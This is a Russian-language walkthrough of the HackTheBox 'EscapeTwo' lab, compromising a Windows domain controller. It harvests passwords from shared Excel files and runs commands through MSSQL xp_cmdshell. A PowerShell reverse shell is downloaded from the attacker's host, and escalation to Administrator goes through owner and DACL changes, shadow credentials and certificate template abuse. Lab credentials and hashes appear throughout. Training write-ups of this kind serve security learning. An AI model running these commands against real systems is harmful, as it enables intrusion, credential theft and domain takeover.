> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# Запись HackTheBox EscapeTwo

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Навыки:**

* Перечисление SMB
* Утечка пароля из информации (zip, файл Excel)
* Эксплуатация MSSQL (Microsoft SQL) с RCE
* Перечисление BloodHund
* WriteOwner пользователя CA/\_SVC (повышение привилегий)
  {% endhint %}

В ходе этого тестирования на проникновение в среде Windows у нас есть следующие учетные данные:

* имя пользователя: `rose`
* пароль: `KxEPkKe6R8su`

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/8a80410e7dd4e70fc633c2ce7dd4ce318b181752" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/8a80410e7dd4e70fc633c2ce7dd4ce318b181752" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/0ceb3a0c04e715b806631692df93388192bce10a" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используя функцию extractPorts, чтобы в кратком формате отображать открытые порты и копировать их в `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` буфер обмена

<figure><img src="/files/88f9472893f3ea5de44ca11977b154c2fc16771a" alt=""><figcaption></figcaption></figure>

Сканирование версий портов с Nmap:

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/a2043e3dc180f6b86abf1a4f51d05f2e00c30739" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/65f7a431298250e798ea634987c99e191ba75338" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл:

<figure><img src="/files/ad41cd489c559f239822d17f420c31e55d38bb06" alt="" width="563"><figcaption></figcaption></figure>

### Порт 445 - SMB

**Проверить пользователя с помощью CrackMapExec**

Мы подтверждаем, что `rose` пользователь существует на контроллере домена (DC):

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/394827aacf33078ca061a1db49ccaadcf2a3edd9" alt=""><figcaption></figcaption></figure>

**Исследование общих ресурсов SMB**

Мы перечисляем доступные общие ресурсы с помощью `--shares` команды:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Результат**: Видны две интересные папки:

* `Users`
* `Отдел бухгалтерии`

<figure><img src="/files/d7064089887b1379e3cdcf2a5c0c80d78e1fb7ee" alt=""><figcaption></figcaption></figure>

/*/* Подключение к SMB-ресурсу с smbclient/*/*

Мы получаем доступ к **Отдел бухгалтерии**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

В этом каталоге мы извлекаем два файла Excel:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/49382cb25e2dd968bc5982cf953d82fe2310bc74" alt=""><figcaption></figcaption></figure>

**Определение формата файла**

С помощью `файл` командой, мы определяем, что эти файлы на самом деле являются ZIP-архивами.

<figure><img src="/files/d6461f5ff34790b98de3d409a7df7b458e1ddef4" alt=""><figcaption></figcaption></figure>

**Извлечение ZIP-файлов**

Мы распаковываем восстановленные файлы:

<figure><img src="/files/8df0ea63aac12e5fe9cfb397e61075424377b38d" alt=""><figcaption></figcaption></figure>

**Поиск конфиденциальной информации**

Мы фильтруем извлечённые файлы, чтобы найти информацию, содержащую ключевое слово **пароль**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/6831124266bc9c1d2fa445b79bcb8e720421bdbb" alt=""><figcaption></figcaption></figure>

**Результат**: Файл с именем `shareStrings.xml` содержит список пользователей и паролей.

<img src="/files/34a554d8b395e246995a7bedcf9d192df296d515" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Имя</th><th width="135">Фамилия</th><th width="174">Эл. почта</th><th width="107">Имя пользователя</th><th>Пароль</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Проверка учетных данных с CrackMapExec**

Мы используем восстановленные учетные данные для проверки учетных записей:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Результат**: Работает только `oscar` пользователь действителен.

<figure><img src="/files/31eee274132e08725455ff41712e1ed33e206466" alt=""><figcaption></figcaption></figure>

## Эксплуатация MSSQL (Microsoft SQL)

**Порт 1433 (MSSQL)**

Порт 1433 открыт, что указывает на то, что слушает сервер Microsoft SQL. Мы проверим подключения с различными пользователями, полученными ранее.

<figure><img src="/files/9cabad386df34daf66e712e426f1d99606b00650" alt=""><figcaption></figcaption></figure>

**Тест подключения MSSQL**

Мы используем `mssqlclient.py` чтобы попробовать подключиться:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/aaccced39747d0a5b52256760adb905e20c7a3e5" alt=""><figcaption></figcaption></figure>

**Результат**: Только пользователь `sa` подходит.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/9fb8459d5f8cf5ae160d628694670bc4bc8b48ca" alt=""><figcaption></figcaption></figure>

### Обратная оболочка через MSSQL

**Включить выполнение команд**

Чтобы выполнять системные команды, мы включаем `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Затем мы тестируем с простой командой, например `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/aa5b73b7eea81a94b787a6892d052d99a3df7227" alt=""><figcaption></figcaption></figure>

**Подготовка прослушивания на нашей машине**

Мы запускаем прослушивание на порту 4444:

```bash
rlwrap nc -nvlp 4444
```

**Скачать PowerShell-скрипт**

Мы подготавливаем PowerShell-скрипт под названием `PS.ps1` который включает команду обратной оболочки. В конце скрипта мы добавляем следующую строку:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

В конце скрипта мы добавляем следующую строку:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Мы размещаем этот скрипт на локальном веб-сервере:

```bash
python3 -m http.server 80
```

**Выполнение обратной оболочки**

На сервере MSSQL мы выполняем следующую команду, чтобы скачать и запустить PowerShell-скрипт:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/09e7e1a05d5daf3331cda8aeea697676fcd3059a" alt=""><figcaption></figcaption></figure>

## Переход к пользователю Ryan

**Обнаружены новые учетные данные**

Исследуя систему, мы обнаруживаем каталог с именем **SQL2019** в корне. Внутри мы находим следующие учетные данные:

* Имя пользователя : `ryan`
* Пароль: `WqSZAF6CysDQbGb3`

<figure><img src="/files/d7a99688d2e22309685c9b719256078e92f4839c" alt=""><figcaption></figcaption></figure>

**Проверка учетных данных с CrackMapExec**

Мы проверяем, действительны ли эти учетные данные:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/f663e20daa066f7e29f4e2a270e96afa7fd9d141" alt=""><figcaption></figcaption></figure>

Исследуя общие каталоги, мы находим пользователя по имени `ryan`. Мы проверяем те же учетные данные, что и для `sql_svc`:

<figure><img src="/files/7a421c6933cf237ddba97e172798d0337cc0a7f3" alt=""><figcaption></figcaption></figure>

**Результат**: Учетные данные также работают для пользователя `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/49bcf56dcc95ed5f65f0c97ca928438474a141ce" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/a7d2bed506892f366600153ccbbab8a45bbc0686" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/b2b511a105f424da1e0ab0cecf77b4f654825676" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### Перечисление с BloodHund-python

Используемая команда:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/90699abe422e418cb31cfe05114ee594968b36a2" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Наблюдение :**/ Пользователь **Ryan** имеет `WriteOwner` разрешение в **CA/ SVC** учетной записи, которая также является издателем сертификатов. Это означает, что мы можем изменить владельца учетной записи **CA/ SVC** чтобы назначить **Ryan**.

<figure><img src="/files/4f116cc3e7e4130681bdb6dbf0648eba0c4c551d" alt=""><figcaption></figcaption></figure>

### Получить контроль над CA/\_SVC с помощью BloodyAD

#### Изменение владельца учетной записи

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

Команда использует BloodyAD для изменения владельца **CA/ SVC** и назначить его на **Ryan**. Как владелец, **Ryan** может теперь изменять привилегии, связанные с учетной записью.

### Изменение разрешений с помощью Dacledit

#### Предоставить Райану полные права

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Эта команда изменяет **DACL** (список управления доступом) учетной записи **CA/ SVC** чтобы предоставить полный контроль **Ryan**. Это позволяет Райану сбросить пароль или управлять ключами аутентификации.

<figure><img src="/files/0d349aee7043428b337ed719bd940a403e7fc658" alt=""><figcaption></figcaption></figure>

### Извлечение Shadow Credentials

#### Сгенерировать и получить NT-хеш

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/b9d9bc86926357e868f48ec083042336235472ca" alt=""><figcaption></figcaption></figure>

NT-хеш для **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

У **Certipy** команда генерирует идентификационный ключ для **CA/ SVC**, что позволяет выполнять аутентификацию на основе сертификата. Файл `.ccache` также создается, что облегчает атаки на основе Kerberos.

### Изменение шаблона сертификата

#### Настроить шаблон DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/c4c812f44e4626c37cbd3eb46ee45882f3a7a9f3" alt=""><figcaption></figcaption></figure>

Эта команда изменяет **DunderMifflinAuthentication** шаблона сертификата, чтобы разрешить выпуск сертификатов с повышенными привилегиями.

### Выпуск сертификата для администратора

#### Запросить сертификат для подмены личности

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/703da141528e04eb47344d776859d391bf576425" alt=""><figcaption></figcaption></figure>

Эта команда запрашивает сертификат от имени Administrator (`Administrator@sequel.htb`), позволяя подменить личность этой учетной записи.

### Аутентификация от имени Administrator

#### Использование сертификата для аутентификации

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/df346b7224b438ccd713070593ceb473148ce94c" alt=""><figcaption></figcaption></figure>

**Хеш NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/c6cc6d53f787835e7d6b52d64d343e59c08a7d99" alt=""><figcaption></figcaption></figure>

Эта команда выполняет аутентификацию от имени Administrator с помощью ранее полученного сертификата и извлекает хеш NTLM.

### Флаг root.txt :)

<figure><img src="/files/6b824dd1195047b4a3848651058f5bf83e2122aa" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/c01e635e313719bb1c4e6065324fba0f6eb23226" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
